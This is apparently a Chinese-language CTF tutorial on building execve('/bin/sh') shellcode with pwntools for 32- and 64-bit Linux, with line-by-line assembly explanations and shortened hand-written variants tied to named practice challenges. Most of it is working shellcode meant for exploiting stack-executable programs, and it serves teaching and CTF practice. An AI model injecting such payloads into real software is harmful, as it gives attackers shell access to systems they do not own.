在pwntools下,其实是可以自动生成shellcode脚本的,我们先看一下,利用pwntools的shellcode要注意的是你要表明系统和版本不进行表明生成的是32位的。
from pwn import *
print(shellcraft.sh())
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80
如果进行表明系统,那么结果是不一样的,这个自动输出的是32位的shellcode,我们表明一下系统之后输出shellcode。
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
print(shellcraft.sh())
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
先开始根据x86的进行分析
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80
push 0x68//h
push 0x732f2f2f//s///
push 0x6e69622f//nib/
这些连在一起,则生成shell是/bin///之后下面就是调用,mov ebx,esp这步就是必须存在的,之后中间是调用的方法,最后是调用SYS_execve来运行这个/binsh但是如果最后在输入的时候长度不够写入这么多的时候,这个脚本就要更变,在针对没开NX保护的程序的时候,我们可以想着在栈内执行这些,长度还不用,那么我们要进行一个更改。
相关题目:PicoCTF_2018_shellcode
这里就要说到调用规则了,x64下,调用规则是rdi,rsi,rdx,rcx,r8,r9,需要按照这个去调用,
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
前面还是/bin///sh这里没变,后面开始就是调用规则,rsp给rdi,这是第一个参数,之后进行调用,中断int 0x80变成了syscall
相关题目:ciscn_2019_n_5
其实手写shell其实就是大概的对代码进行一个缩短的改造,达到目的即可
eax = '0xb'
ebx = '/bin//sh'
ecx = '0'
edx = '0'
int 0x80//中断
往里面去添加/bin/sh,ecx和edx清空,eax为0xb,ebx保存esp的值
那么shellcode就可以写出来
xor eax,eax
xor ebx,ebx
xor edx,edx
xor ecx,ecx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
mov al,0xB
int 0x80
相关题目: ciscn_2019_s_9
这个还是调用规则的问题,最后要变成想要的样子。
rdi = '/bin//sh'
rsi = '0'
rdx = '0'
rax = '0x3B'
syscall
按照这个变化即可
xor rdx, rdx
xor rsi, rsi
mov rbx, 0x68732f2f6e69622f
push rbx
push rsp
pop rdi
push 0x3b
pop rax//0x3b
syscall
最后可以变化成想要的结果。